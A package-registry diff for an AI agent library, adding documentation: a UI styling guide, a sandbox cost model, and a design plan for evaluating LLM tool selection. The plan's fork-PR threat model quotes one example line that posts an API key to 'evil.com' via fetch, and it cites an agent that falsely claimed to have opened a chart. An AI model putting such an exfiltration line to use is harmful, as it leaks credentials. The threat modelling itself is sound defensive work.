@hachej/boring-agent 0.1.17 → 0.1.18

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (39) hide show
  1. package/dist/{sandbox-handle-store-hK76cTjn.d.ts → agentPluginEvents-zyIvVjsA.d.ts} +28 -32
  2. package/dist/{chunk-F3CE5CNW.js → chunk-B5JECXMG.js} +5 -7
  3. package/dist/front/index.d.ts +23 -7
  4. package/dist/front/index.js +764 -421
  5. package/dist/front/styles.css +61 -0
  6. package/dist/{tool-ui-DSmWuqGe.d.ts → harness-DRrTn_5T.d.ts} +43 -24
  7. package/dist/server/index.d.ts +79 -10
  8. package/dist/server/index.js +243 -54
  9. package/dist/shared/index.d.ts +5 -3
  10. package/dist/shared/index.js +3 -1
  11. package/dist/tool-ui-DIFNGwYd.d.ts +20 -0
  12. package/docs/ACCESSIBILITY.md +55 -0
  13. package/docs/API.md +64 -0
  14. package/docs/CSP.md +40 -0
  15. package/docs/ERROR_CODES.md +54 -0
  16. package/docs/KNOWN_LIMITATIONS.md +100 -0
  17. package/docs/MIGRATION.md +50 -0
  18. package/docs/PERFORMANCE.md +68 -0
  19. package/docs/PLUGINS.md +108 -0
  20. package/docs/README.md +17 -0
  21. package/docs/RISKS-MULTI-TAB.md +46 -0
  22. package/docs/STYLING.md +71 -0
  23. package/docs/UI-SHADCN.md +56 -0
  24. package/docs/VERCEL_COSTS.md +103 -0
  25. package/docs/plans/AGENT_EVAL_FRAMEWORK.md +466 -0
  26. package/docs/plans/agent-package-spec.md +1777 -0
  27. package/docs/plans/harness-followup-capabilities.md +440 -0
  28. package/docs/plans/harness-tool-ui-capabilities.md +144 -0
  29. package/docs/plans/pi-followup-history-projection.md +229 -0
  30. package/docs/plans/pi-tools-migration.md +1061 -0
  31. package/docs/plans/reviews/pi-followup-history-codex-review.md +11 -0
  32. package/docs/plans/reviews/pi-followup-history-gpt-review.md +64 -0
  33. package/docs/plans/reviews/pi-followup-history-opus-review.md +43 -0
  34. package/docs/plans/reviews/pi-followup-history-xai-review.md +43 -0
  35. package/docs/plans/vercel-base-snapshot-template-plan.md +527 -0
  36. package/docs/plans/vercel-persistent-sandbox-adapter.md +553 -0
  37. package/docs/runtime.md +56 -0
  38. package/docs/tools.md +75 -0
  39. package/package.json +4 -3
@@ -0,0 +1,56 @@
1
+ # Agent UI
2
+
3
+ `@boring/agent` exports the pane-embeddable `ChatPanel` and its frontend
4
+ primitives. The default styled surface is packaged with precompiled CSS.
5
+
6
+ ## Quickstart
7
+
8
+ ```tsx
9
+ import "@boring/workspace/globals.css"
10
+ import "@boring/agent/front/styles.css"
11
+ import { ChatPanel } from "@boring/agent"
12
+
13
+ function App() {
14
+ return <ChatPanel sessionId="my-session" />
15
+ }
16
+ ```
17
+
18
+ Import app overrides after the package CSS when customizing:
19
+
20
+ ```ts
21
+ import "@boring/workspace/globals.css"
22
+ import "@boring/agent/front/styles.css"
23
+ import "./app.css"
24
+ ```
25
+
26
+ ## Styling model
27
+
28
+ | Concern | Contract |
29
+ |---|---|
30
+ | Package CSS | `@boring/agent/front/styles.css` |
31
+ | Root selector | `[data-boring-agent]` |
32
+ | Parts | `[data-boring-agent-part="composer"]`, `[data-boring-agent-part="tool-card"]`, etc. |
33
+ | Message role | `[data-boring-agent-message-role="assistant"]` |
34
+ | State | `[data-boring-state="selected"]`, `[data-boring-state="disabled"]`, etc. |
35
+ | Tokens | Consumes host `--boring-*` tokens with standalone fallbacks |
36
+
37
+ The built stylesheet has no Tailwind `@source` directives, no Tailwind imports,
38
+ and no repo-relative source paths.
39
+
40
+ ## Dark mode
41
+
42
+ Add `class="dark"` to an ancestor. Workspace owns the dark `--boring-*` token
43
+ values; agent inherits them and falls back when embedded standalone.
44
+
45
+ ## Custom tool renderers
46
+
47
+ Same API as `ChatPanel`:
48
+
49
+ ```tsx
50
+ <ChatPanel
51
+ sessionId="sess"
52
+ toolRenderers={{
53
+ write: ({ toolCall }) => <div>Wrote {toolCall.input.path}</div>,
54
+ }}
55
+ />
56
+ ```
@@ -0,0 +1,103 @@
1
+ # Vercel Sandbox Cost Model
2
+
3
+ Date: 2026-04-23
4
+
5
+ ## Inputs
6
+
7
+ ### Pricing + limits (official)
8
+
9
+ Source: Vercel Sandbox pricing and limits (last updated March 14, 2026):
10
+ <https://vercel.com/docs/vercel-sandbox/pricing>
11
+
12
+ | Metric | Rate / Limit |
13
+ |---|---|
14
+ | Active CPU | `$0.128 / vCPU-hour` |
15
+ | Provisioned Memory | `$0.0212 / GB-hour` |
16
+ | Sandbox creations | `$0.60 / 1M` (`$0.0000006 / create`) |
17
+ | Data transfer | `$0.15 / GB` |
18
+ | Snapshot storage | `$0.08 / GB-month` |
19
+ | Default vCPU | `2` |
20
+ | Memory per vCPU | `2 GB` |
21
+ | Max runtime | Hobby `45 min`, Pro/Enterprise `5h` |
22
+ | vCPU allocation rate limit | Hobby `40 vCPU / 10 min`, Pro `200 / min`, Ent `400 / min` |
23
+
24
+ Snapshot defaults (official):
25
+ - <https://vercel.com/docs/vercel-sandbox/concepts/snapshots>
26
+ - Default snapshot expiration is `30 days` unless configured otherwise.
27
+
28
+ ### Measured workload inputs (this repo)
29
+
30
+ - Cold-start benchmark (`96h`): [PERFORMANCE.md](./PERFORMANCE.md)
31
+ - FS + exec latency benchmark (`f4f`): historical raw JSON artifact removed; see the root `docs/PERFORMANCE.md` rollup.
32
+ - Measured snapshot sizes from benchmark project: ~`279 MB` each (`0.2606 GB`).
33
+
34
+ Observations:
35
+ - 96h: cold-start p95 is below `3s`, so we do not need a large warm pool to hide startup.
36
+ - f4f + 96h traces are I/O-heavy; CPU-active share is much lower than wall-clock. Model uses `30%` CPU-active as the baseline.
37
+
38
+ ## Model
39
+
40
+ For one workspace/day:
41
+
42
+ ```text
43
+ daily_cost =
44
+ (active_cpu_vcpu_hours * 0.128) +
45
+ (memory_gb * wall_clock_hours * 0.0212) +
46
+ (creates_per_day * 0.0000006) +
47
+ (snapshot_gb * snapshots_kept * 0.08 / 30)
48
+ ```
49
+
50
+ Baseline assumptions used below:
51
+ - `2 vCPU`, `4 GB` memory.
52
+ - one active user session/day: `30 min` wall-clock, `30%` CPU-active.
53
+ - this gives `active_cpu_vcpu_hours = 2 * 0.5 * 0.3 = 0.3` vCPU-hours/day.
54
+ - `1` creation/day.
55
+ - snapshot retention `keep-last-2`.
56
+ - idle policy changes runtime billed for memory, but not active CPU time.
57
+
58
+ ## Cost per Workspace per Day
59
+
60
+ Historical companion CSV artifacts were removed from the package tree; the table below preserves the cost model.
61
+
62
+ | Idle policy | Runtime billed/day | CPU $/day | Memory $/day | Snapshot $/day | Create $/day | Total $/day |
63
+ |---|---:|---:|---:|---:|---:|---:|
64
+ | Stop on session end | 0.5 h | 0.0384 | 0.0424 | 0.0014 | 0.0000006 | **0.0822** |
65
+ | Idle-stop after 60 min | 1.0 h | 0.0384 | 0.0848 | 0.0014 | 0.0000006 | **0.1246** |
66
+ | No explicit stop (5h timeout) | 5.0 h | 0.0384 | 0.4240 | 0.0014 | 0.0000006 | **0.4638** |
67
+ | Pinned 24h workspace | 24.0 h | 0.0384 | 2.0352 | 0.0014 | 0.0000006 | **2.0750** |
68
+
69
+ Implication:
70
+ - Memory wall-clock billing dominates cost. Idle lifetime policy matters far more than creation count.
71
+
72
+ ## Snapshot Retention Trade-off
73
+
74
+ With measured snapshot size `0.2606 GB`:
75
+
76
+ | Retention | Storage/workspace/month |
77
+ |---|---:|
78
+ | Keep 1 | `$0.0209` |
79
+ | Keep 2 (current) | `$0.0417` |
80
+ | Keep 5 | `$0.1043` |
81
+ | Keep 10 | `$0.2085` |
82
+
83
+ Conclusion:
84
+ - **Keep-last-2 is still the right default.**
85
+ - Storage cost is tiny at small scale but scales linearly with workspace count.
86
+
87
+ ## Idle Pool Sizing
88
+
89
+ If we keep a warm 2 vCPU / 4 GB sandbox running for 24h, per slot:
90
+ - Memory-only floor: `4 GB * 24h * 0.0212 = $2.0352/day`.
91
+ - At 1% CPU-active overhead, total is about `~$2.10/day` per warm slot.
92
+
93
+ Because 96h cold-start p95 is already `<3s`, default should be **no prewarmed idle pool**.
94
+
95
+ ## Policy Recommendation
96
+
97
+ 1. Keep `BORING_AGENT_SNAPSHOT_KEEP=2` (confirmed).
98
+ 2. Stop sandbox proactively on session end; do not rely on timeout.
99
+ 3. Add/keep idle-stop guardrail at `<= 60 min` idle.
100
+ 4. Add stale-handle cleanup: force destroy after `24h` idle as a safety backstop if stop hooks are missed.
101
+ 5. Keep idle pool size at `0` by default; only enable a tiny pool behind feature flag if product latency goals tighten.
102
+
103
+ This policy minimizes spend while keeping current UX targets achievable.
@@ -0,0 +1,466 @@
1
+ # Agent eval framework — testing LLM tool-selection behavior
2
+
3
+ **Status:** review v3 (incorporates Gemini review v2 feedback — YAML DSL serialization + honest fork-PR threat model)
4
+ **Owner:** `@boring/agent`
5
+ **Last updated:** 2026-04-28
6
+
7
+ ## Problem
8
+
9
+ We have two distinct layers under test, and only one is currently covered:
10
+
11
+ | Layer | What it asserts | Today's coverage |
12
+ |---|---|---|
13
+ | **Plumbing** | Tool registered in catalog → bridge dispatches → workspace responds → state round-trips | `createWorkspaceAgentApp.test.ts`, `createInMemoryBridge.test.ts`, `uiCommandDispatcher.test.ts`, etc. — green. |
14
+ | **Behavior** | Given a user prompt + the agent's tool catalog + tool descriptions, does the LLM pick the right tool with the right params? | NONE. |
15
+
16
+ Recent example proving the gap exists: a user said "open a chart of Real GDP" and the agent confidently reported "Opened: Real GDP (GDPC1) in the chart pane" while the workbench was actually empty. Plumbing all worked. The LLM didn't realize it could call `exec_ui openFile`, didn't think to consult `get_ui_state.availablePanels` first, and made up a `chart` component name. That's a behavior bug, not a plumbing bug, and no test would have caught it.
17
+
18
+ The behavior layer needs its own framework, and it should live in `@boring/agent`. Reasons:
19
+
20
+ 1. **Tool catalog ownership.** The catalog lives in agent. Whether a prompt resolves correctly depends on the descriptions, the JSON schema enums, and the system prompt — all of which the agent owns or contributes.
21
+ 2. **Reusable across hosts.** Workspace, boring-macro, the playground, full-app — anything built on `@boring/agent` will want to assert against its own tool catalog. The framework can't live in any one consumer.
22
+ 3. **Wraps existing primitives.** The mechanism is just "create an agent app, post a chat, capture the tool calls" — already entirely possible via `app.inject`. We're packaging that as a typed assertion helper, not inventing new infrastructure.
23
+
24
+ ## Goal
25
+
26
+ Add `@boring/agent/testing` exporting:
27
+
28
+ - `evalAgentPrompt(opts)` — single-prompt eval. Posts a chat through `app.inject`, captures the FULL list of tool calls in the response, and returns a structured pass/fail.
29
+ - `runEvalSuite(opts)` — batch runner over a YAML fixture file. Strict 100% pass with per-prompt retries; suite-level timeout; sane concurrency cap.
30
+ - A matcher DSL — `EvalAny`, `EvalRegex`, partial vs strict, plus `someCallMatches` (default) vs `firstCallMatches` for prompts where order matters.
31
+
32
+ Two consumption modes:
33
+
34
+ - **In a vitest test** — small assertion suites for ONE prompt → one or more expected calls. Useful for pinning a tool description against a specific regression.
35
+ - **As a standalone CLI** (`pnpm agent:eval suite.yaml`) — large suites of 50+ prompts run nightly in CI against a real model.
36
+
37
+ ## API sketch (revised per review)
38
+
39
+ ### Single-prompt eval
40
+
41
+ ```ts
42
+ // @boring/agent/testing
43
+ import type { FastifyInstance } from 'fastify'
44
+
45
+ export interface ToolCall {
46
+ tool: string
47
+ params: Record<string, unknown>
48
+ }
49
+
50
+ export interface ExpectedCall {
51
+ /** Exact tool name match. Required. */
52
+ tool: string
53
+
54
+ /** Partial-match on the call params (every key in expect.params must
55
+ * appear with matching value; extra keys allowed unless `strict: true`). */
56
+ params?: Record<string, unknown>
57
+
58
+ /** When true, params must equal exactly (no extra keys). */
59
+ strict?: boolean
60
+ }
61
+
62
+ export interface EvalPromptOptions {
63
+ /** A FastifyInstance from createAgentApp / createWorkspaceAgentApp / etc. */
64
+ app: FastifyInstance
65
+
66
+ /** User prompt sent to the agent. */
67
+ prompt: string
68
+
69
+ /**
70
+ * Expected tool calls. Default mode: assert that EVERY ExpectedCall here
71
+ * matches AT LEAST ONE call in the LLM's response (any order).
72
+ * Anthropic / OpenAI both support parallel tool calls in a single
73
+ * response, so the framework treats `actual` as an array and runs an
74
+ * existence check per expected entry — matching the wire reality.
75
+ */
76
+ expect: ExpectedCall | ExpectedCall[]
77
+
78
+ /**
79
+ * Stricter alternative: assert the FIRST tool call matches `expectFirst`.
80
+ * Use when ordering matters (e.g. "agent must call get_ui_state BEFORE
81
+ * exec_ui openPanel"). Mutually exclusive with `expect`.
82
+ */
83
+ expectFirst?: ExpectedCall
84
+
85
+ /**
86
+ * Negative assertion: assert that NO tool was called (LLM answered in
87
+ * plain text). Use for "what is 2+2" style prompts where over-tooling
88
+ * is the regression.
89
+ */
90
+ expectNoToolCall?: boolean
91
+
92
+ /**
93
+ * Model id. Each consumer can pin its own — defaults to the agent
94
+ * package's pinned model from `eval.config.json` (currently
95
+ * "claude-haiku-4-5-20251001"). Suites should override at the suite
96
+ * level (in the YAML file) so workspace's eval can run on Haiku
97
+ * while boring-macro's runs on Sonnet without a global migration.
98
+ */
99
+ model?: string
100
+
101
+ /** Optional system prompt prepended to the chat session. Defaults to none. */
102
+ systemPrompt?: string
103
+
104
+ /** Override the chat session id (defaults to a fresh uuid per call). */
105
+ sessionId?: string
106
+
107
+ /**
108
+ * Per-call timeout. Defaults to 30s. If the API hangs, fail fast at
109
+ * this boundary so the suite-level timeout (below) doesn't have to
110
+ * absorb every prompt's tail latency.
111
+ */
112
+ timeoutMs?: number
113
+
114
+ /**
115
+ * Per-prompt retry count. Defaults to 0. Set to 1 or 2 for prompts
116
+ * known to flake on stochastic noise — strictly preferred over a
117
+ * global pass-rate threshold (which masks genuine regressions in
118
+ * specific tools — see the "100% pass" rationale below).
119
+ */
120
+ retries?: number
121
+ }
122
+
123
+ export interface EvalResult {
124
+ ok: boolean
125
+ /** All tool calls the LLM made, in order. Empty array means LLM answered
126
+ * in plain text without tooling. */
127
+ actual: ToolCall[]
128
+ /** Plain-text response from the LLM (empty string when only tools called). */
129
+ text: string
130
+ /** Human-readable reason on failure. */
131
+ reason?: string
132
+ /** Tokens consumed — for cost telemetry. */
133
+ usage?: { input: number; output: number }
134
+ /** How many attempts were used (1 + retries on failure). */
135
+ attempts: number
136
+ }
137
+
138
+ export async function evalAgentPrompt(opts: EvalPromptOptions): Promise<EvalResult>
139
+
140
+ // Wildcards — JS API
141
+ export const EvalAny: unique symbol
142
+ export function EvalRegex(re: RegExp): { __evalRegex: RegExp }
143
+ ```
144
+
145
+ ### YAML serialization for matcher wildcards (per v2 review)
146
+
147
+ Fixtures are YAML, but `EvalAny` is a JS `Symbol` and `EvalRegex` is a function returning a tagged object. A naive `yaml.parse(...)` would treat `id: EvalAny` as the literal string `"EvalAny"`. Need a deliberate serialization strategy.
148
+
149
+ **Choice: custom YAML tags** (using the `yaml` package's `Schema` API).
150
+
151
+ ```yaml
152
+ prompts:
153
+ - prompt: open the GDP chart
154
+ expect:
155
+ tool: exec_ui
156
+ params:
157
+ kind: openPanel
158
+ params:
159
+ id: !EvalAny # any non-undefined value
160
+ component: !EvalRegex "^chart:" # regex match against string
161
+ ```
162
+
163
+ The framework registers two custom tags with the YAML parser:
164
+
165
+ - `!EvalAny` (no value) → resolves to the `EvalAny` symbol.
166
+ - `!EvalRegex "regex-source"` (scalar) → resolves to `EvalRegex(new RegExp(...))`. The string is the regex source (no flags syntax — keep it simple; if a fixture needs flags, embed them via `(?i)` etc. inline).
167
+
168
+ **Rejected alternatives** and why:
169
+
170
+ - **Reserved string prefixes (`__EVAL_ANY__`)** — works but uglier in fixtures, and easy to confuse with a real string value an LLM might emit.
171
+ - **Object syntax (`{ $evalAny: true }`)** — also works but verbose for the common case (single-key object every wildcard). Custom tags are syntactically lighter (`!EvalAny` vs `{$evalAny:true}`) and more discoverable when a reader sees them in a fixture.
172
+
173
+ Both rejected alternatives stay valid via the JS API (`evalAgentPrompt` called directly from a vitest test) — only the YAML loader needs the custom-tag knowledge.
174
+
175
+ ### Suite runner
176
+
177
+ ```ts
178
+ export interface SuiteOptions {
179
+ app: FastifyInstance
180
+
181
+ /** Path to a YAML file. See "Fixture format (YAML)" below. */
182
+ fixturesPath: string
183
+
184
+ /**
185
+ * Stop running and fail fast on first non-pass. Default: false (run
186
+ * the whole suite, print every failure, then fail).
187
+ */
188
+ bail?: boolean
189
+
190
+ /**
191
+ * Concurrency. Default: 4. Higher = faster + more API tokens consumed
192
+ * in parallel. Each prompt has its own per-call timeoutMs.
193
+ */
194
+ concurrency?: number
195
+
196
+ /**
197
+ * Hard suite-level timeout in ms. Defaults to 5 * 60_000 (5 minutes).
198
+ * If API latency degrades, this fails the suite fast rather than
199
+ * waiting for every prompt to time out individually.
200
+ */
201
+ suiteTimeoutMs?: number
202
+
203
+ /**
204
+ * Optional global override of the per-prompt model. Useful for ad-hoc
205
+ * "run this suite against Sonnet instead of Haiku" experiments
206
+ * without editing the YAML.
207
+ */
208
+ model?: string
209
+ }
210
+
211
+ export interface SuiteReport {
212
+ total: number
213
+ passed: number
214
+ failed: number
215
+ /**
216
+ * NOT exposed as a "threshold" knob. The suite passes IFF every prompt
217
+ * passed (after retries). Aggregate pass rate is a number reported for
218
+ * telemetry, not a knob to silently mask broken tools — see "100% pass
219
+ * rationale" below.
220
+ */
221
+ passRate: number
222
+ results: Array<EvalResult & { prompt: string; expected: ExpectedCall | ExpectedCall[] | undefined }>
223
+ totalUsage: { input: number; output: number }
224
+ totalDurationMs: number
225
+ /** True iff every result is `ok: true`. */
226
+ allPassed: boolean
227
+ }
228
+
229
+ export async function runEvalSuite(opts: SuiteOptions): Promise<SuiteReport>
230
+ ```
231
+
232
+ ### 100% pass rationale (per Gemini review)
233
+
234
+ The first plan offered a `threshold` knob (default 1.0, optionally lowered to 0.9 for "noisy" suites). That's a footgun: a 50-prompt suite at threshold 0.9 silently passes when ALL THREE of `openPanel`'s prompts fail (94% aggregate). The aggregate masks a specific tool regression.
235
+
236
+ Replaced with strict 100% pass + a `retries` knob per prompt for the small handful of prompts that genuinely flake. If a prompt flakes consistently, the right response is to:
237
+ - Tighten the matcher (`EvalAny` instead of pinning a generated id)
238
+ - Loosen the `params` (drop optional fields the LLM sometimes adds)
239
+ - Rewrite the prompt to be less ambiguous
240
+
241
+ Not "let one tool be silently broken because the other 47 passed."
242
+
243
+ ## Fixture format — YAML (revised per review)
244
+
245
+ YAML over JSONL because nested `expect.params` is unreadable on a single line and quote-escaping inside `prompt` strings is hostile. Suite-level config (model, system prompt, defaults) lives at the file head.
246
+
247
+ ```yaml
248
+ # packages/agent/eval/standard-tools.yaml
249
+ model: claude-haiku-4-5-20251001
250
+ systemPrompt: |
251
+ You are a coding assistant. Use the registered tools to act on the user's
252
+ workspace. Prefer purpose-built tools over generic shell commands when both apply.
253
+ defaults:
254
+ retries: 0
255
+ timeoutMs: 30000
256
+
257
+ prompts:
258
+ - prompt: open README.md
259
+ expect:
260
+ tool: exec_ui
261
+ params:
262
+ kind: openFile
263
+ params:
264
+ path: README.md
265
+
266
+ - prompt: what files do I have open?
267
+ expect:
268
+ tool: get_ui_state
269
+
270
+ - prompt: close the active tab
271
+ expect:
272
+ tool: exec_ui
273
+ params:
274
+ kind: closePanel
275
+
276
+ - prompt: show me the GDP series
277
+ expect:
278
+ tool: exec_ui
279
+ params:
280
+ kind: openPanel
281
+ params:
282
+ component: chart-canvas
283
+ retries: 1 # this prompt is more open-ended; allow one stochastic retry
284
+
285
+ - prompt: what is 2 plus 2?
286
+ expectNoToolCall: true # plain-text response — no tool needed
287
+
288
+ - prompt: open the README and tell me about the project
289
+ # Multi-call expectation — both tools must appear (any order). Anthropic
290
+ # supports parallel tool calls; the matcher checks existence, not order.
291
+ expect:
292
+ - tool: exec_ui
293
+ params:
294
+ kind: openFile
295
+ params:
296
+ path: README.md
297
+ - tool: read
298
+ params:
299
+ path: README.md
300
+
301
+ - prompt: navigate to line 42 of foo.ts
302
+ # Order-sensitive: agent should call openFile FIRST, then navigateToLine.
303
+ expectFirst:
304
+ tool: exec_ui
305
+ params:
306
+ kind: openFile
307
+ params:
308
+ path: foo.ts
309
+ ```
310
+
311
+ YAML structure:
312
+
313
+ - **`model`** (top-level) — pinned model for this suite. Each suite can pin independently; bumping is a deliberate edit per-suite, not a global migration.
314
+ - **`systemPrompt`** (top-level, optional) — prepended to every prompt in the suite.
315
+ - **`defaults`** (top-level, optional) — applied to every prompt unless overridden inline.
316
+ - **`prompts`** (array) — each entry is a `prompt` + one of `expect` / `expectFirst` / `expectNoToolCall`, plus optional per-prompt overrides for `retries`, `timeoutMs`, `model`.
317
+
318
+ Why structured YAML over inline `app.inject` calls in vitest: a single source of truth for the suite that non-engineers can edit (UX writers tweaking system prompts, product managers adding regression prompts after a bug report). The CLI runs the same parser as `runEvalSuite`.
319
+
320
+ ## Architecture
321
+
322
+ ```
323
+ ┌─────────────────────────┐
324
+ │ evalAgentPrompt(opts) │
325
+ └────────────┬────────────┘
326
+
327
+ 1. session = uuid()
328
+ 2. POST /api/v1/agent/sessions {id: session}
329
+ 3. POST /api/v1/agent/chat {sessionId, model, message, systemPrompt?}
330
+ 4. Stream SSE response, capture EVERY tool-call event
331
+ (parallel + sequential calls all collected) plus the
332
+ final assistant text.
333
+ 5. Match captured calls against expect / expectFirst /
334
+ expectNoToolCall.
335
+ 6. Retry on failure up to opts.retries times.
336
+ 7. DELETE /api/v1/agent/sessions/<id> (cleanup).
337
+ 8. Return EvalResult with actual: ToolCall[], text,
338
+ attempts, usage.
339
+
340
+
341
+ ┌─────────────────────────┐
342
+ │ app.inject(...) │
343
+ │ (no real network for │
344
+ │ the Fastify routes — │
345
+ │ in-process) │
346
+ └────────────┬────────────┘
347
+ │ But the LLM call ITSELF goes
348
+ │ over the wire via the harness
349
+ │ — that's the entire point.
350
+
351
+ ┌─────────────────────────┐
352
+ │ Real LLM (Anthropic) │
353
+ │ via ANTHROPIC_API_KEY │
354
+ └─────────────────────────┘
355
+ ```
356
+
357
+ Plumbing (Fastify, agent harness, tool dispatch) is in-process via `app.inject`. The LLM call itself is real. Cost lives at the model API boundary; controlling model choice + prompt count + retry budget controls the spend.
358
+
359
+ ## Non-determinism strategy (revised)
360
+
361
+ Three layers of tolerance, in order of preference:
362
+
363
+ 1. **Partial-match by default.** `params: { kind: "openFile", params: { path: "README.md" } }` matches actual `{ kind: "openFile", params: { path: "README.md", mode: "view" } }` — the extra `mode` key is allowed unless `strict: true`. Handles "model decided to add an optional param."
364
+
365
+ 2. **Wildcards for fields that can't be pinned.** `EvalAny` for "must be present, any value" — useful for ids the model generates fresh each run (`id: EvalAny` for openPanel). `EvalRegex(/^chart:/)` for prefix matching without pinning the suffix.
366
+
367
+ 3. **Per-prompt retries** for the rare prompt that's genuinely stochastic. Keep retries small (1–2). If a prompt needs 5 retries to pass, the prompt or matcher is wrong, not the LLM.
368
+
369
+ **Removed from the design**: the suite-level `threshold` (e.g., 0.9 = 90% pass rate). Per Gemini's review, an aggregate threshold lets a specific tool break entirely without failing CI. Strict 100% pass + targeted retries handles the same problem honestly.
370
+
371
+ **Multi-call matching**: Anthropic / OpenAI both emit multiple tool calls in a single response (parallel) or across turns (sequential). The default matcher mode is `someCallMatches` — assert each `ExpectedCall` exists somewhere in the captured `actual: ToolCall[]`, any order, parallel or sequential. `expectFirst` is the explicit opt-in for ordering, used only when ordering is part of the contract.
372
+
373
+ ## Cost model
374
+
375
+ | Scenario | Tokens | Approx cost (Haiku 4.5 @ $1/M input, $5/M output) |
376
+ |---|---|---|
377
+ | Single eval (50 input + 30 output tokens incl. tool descriptions) | 80 | $0.0002 |
378
+ | 50-prompt suite | 4,000 | $0.01 |
379
+ | Nightly run @ 50 prompts × 30 days | 120,000 | $0.30 / month |
380
+ | Per-PR run @ 50 prompts × 100 PRs/month | 400,000 | $1 / month |
381
+
382
+ Per-PR is cheap enough to consider. Default cadence: **nightly** to start; can promote to per-PR once we trust the matcher fuzz heuristics.
383
+
384
+ ## CI integration (revised — fork PR + secret leakage handled)
385
+
386
+ | Stage | When | What runs | Where the secret lives |
387
+ |---|---|---|---|
388
+ | Vitest unit | Every PR | Plumbing tests + framework matcher unit tests (no LLM) + a tiny canary eval (3 prompts, ~$0.001/PR) gated on `ANTHROPIC_API_KEY`. If absent, skip cleanly with a logged warning + green CI. | Repo secrets (NOT exposed to fork PRs). |
389
+ | **Fork PR maintainer trigger** | Maintainer comments `/eval` on a fork PR | A `pull_request_target`-triggered workflow with explicit environment protection runs the full suite with the secret. Security: the workflow MUST checkout the PR's HEAD, but only runs the eval task — no arbitrary scripts from the PR are executed. | Repo secrets, scoped to the `eval` environment. |
390
+ | Nightly | Cron at 03:00 UTC | Full eval suites for every consumer (workspace, boring-macro, full-app). Reports posted as a GitHub Actions summary. | Repo secrets. |
391
+ | On-demand | `pnpm agent:eval suite.yaml` | Local + manual debugging. Defaults to dry-run if `ANTHROPIC_API_KEY` is missing (prints what would have been sent). | User's local env / vault. |
392
+
393
+ **Fork PR security — honest threat model** (clarified per v2 review):
394
+
395
+ Without `pull_request_target`: fork PRs can change tool descriptions and the maintainer wouldn't see eval failures pre-merge.
396
+
397
+ With naive `pull_request_target` and no gate: a malicious fork could swap eval scripts to exfiltrate the API key during the workflow run.
398
+
399
+ The mitigation is a **maintainer-trust gate**, NOT a sandbox:
400
+
401
+ - A maintainer comments `/eval` on the fork PR — GitHub Actions checks the comment author's identity against repo permissions before running the workflow.
402
+ - The workflow runs in a protected `eval` environment that requires explicit manual approval before exposing the secret.
403
+ - The framework's runner script (loaded from `main`) drives the suite — but it imports the PR's tool catalog and app factory (e.g., `createWorkspaceAgentApp`, the host's `extraTools`, etc.) to run the evals against. **That PR-controlled code DOES execute in a Node process where `ANTHROPIC_API_KEY` is present.**
404
+ - A malicious fork PR could put `fetch('evil.com', {body: process.env.ANTHROPIC_API_KEY})` in a tool file, and `/eval` would run it.
405
+
406
+ The guarantee this provides: the maintainer must visually review the PR's diff before typing `/eval`. There is no automated firewall — the maintainer is the firewall. This is the standard OSS pattern for cost-bearing or capability-bearing secrets in CI (the same shape used by most projects that run benchmarks against fork PRs), but maintainers must understand they are authorizing untrusted code execution in an environment that holds the key.
407
+
408
+ If we want a stronger guarantee, the next step is moving the eval runner to a separate, secret-bearing service that ONLY accepts pre-built fixture artifacts (no PR-defined code paths). That's significantly more infrastructure and out of scope for v1.
409
+
410
+ ## Cadence summary
411
+
412
+ - **Per PR (cheap)**: matcher unit tests + 3-prompt canary. ~$0.001 / PR.
413
+ - **Nightly (full)**: every consumer's suite. ~$0.30 / month at 50 prompts / suite.
414
+ - **Fork PR (manual)**: maintainer comments `/eval`, full suite runs once.
415
+
416
+ A failing nightly doesn't block merging; it surfaces a regression for triage. A failing per-PR canary blocks. A failing fork PR `/eval` blocks merging that fork PR.
417
+
418
+ ## Migration / authoring path
419
+
420
+ 1. Land the framework in `@boring/agent/eval` with one fixture file (`packages/agent/eval/standard-tools.yaml`) covering bash / read / write / edit / find. Validates the framework on agent's own catalog.
421
+ 2. Child apps that compose workspace UI can add app-local eval suites (for example under `apps/*/eval/`) and wire their own app server as the `runEvalSuite({ app, fixturesPath })` target. Workspace itself does not publish a parallel eval subpath; it owns structural UI-tool contracts and app-shell helpers.
422
+ 3. Documentation pass — agent README + app docs reference suite locations and the package `eval` script.
423
+ 4. CI — add the nightly workflow + the per-PR canary step + the fork-PR `/eval` trigger.
424
+
425
+ ## Out of scope (v1)
426
+
427
+ - **Multi-turn evals.** The framework asserts within a single LLM response (which CAN contain multiple parallel tool calls — that's covered). "Did the agent recover after a tool error in turn 1 and try a different approach in turn 2?" is a separate layer needing state replay. Track for v2.
428
+ - **Cross-model comparison runner.** A natural ask but adds an abstraction layer the harness doesn't currently need. The per-suite `model` knob already lets consumers experiment manually.
429
+ - **Streaming-aware evals.** Tool calls are captured atomically once the response stream completes. "Did the agent stream the right partial chunks in the right order?" is a separate ergonomic concern — defer.
430
+ - **Cost budget guardrails in CI.** A failsafe that aborts the suite if estimated tokens exceed a threshold. Add as a v1.1 ergonomic if usage spikes start being a concern; not blocking v1 launch.
431
+ - **Mocked LLM mode.** Some consumers may want to exercise the eval framework without an API key (deterministic CI, replay). Expensive to implement well (the mock has to faithfully emit Anthropic-shaped tool-use blocks); defer until requested.
432
+ - **Context window awareness.** A consumer could mock a `get_ui_state` response so small that the LLM's behavior in production (with a much larger state) wouldn't match. Document the recommendation in the README ("write fixtures with realistic state shapes") but don't enforce in framework — the consumer owns their app's runtime state, the framework can't.
433
+
434
+ ## Risks (revised)
435
+
436
+ 1. **Real-LLM dependency.** Eval suite needs `ANTHROPIC_API_KEY`. Mitigation: framework defaults to dry-run with a printed warning when no key is found. CI matrix has a fork-PR step that exercises this path. Per-PR canary is gated on the secret being present.
437
+
438
+ 2. **Model deprecation.** Anthropic deprecates models on rolling cadence. Mitigation: per-suite model pinning (in YAML) means consumers upgrade at their own pace. A bumped model in the agent package's `eval.config.json` is the DEFAULT, not a forced migration.
439
+
440
+ 3. **Fixture rot.** Tool descriptions change → fixtures may need updating. Mitigation: matchers are partial-match by default; only contract changes (tool renamed, kind removed) require fixture edits, and those are big enough to deserve a PR review pass anyway.
441
+
442
+ 4. **Cost spike from a runaway loop.** A bug where retries fire on every transient failure could 100x spend. Mitigation: explicit per-call `timeoutMs` (default 30s), explicit `retries` knob (default 0), explicit suite-level `suiteTimeoutMs` (default 5min), hard concurrency cap (default 4). No automatic retries on top of the explicit `retries`.
443
+
444
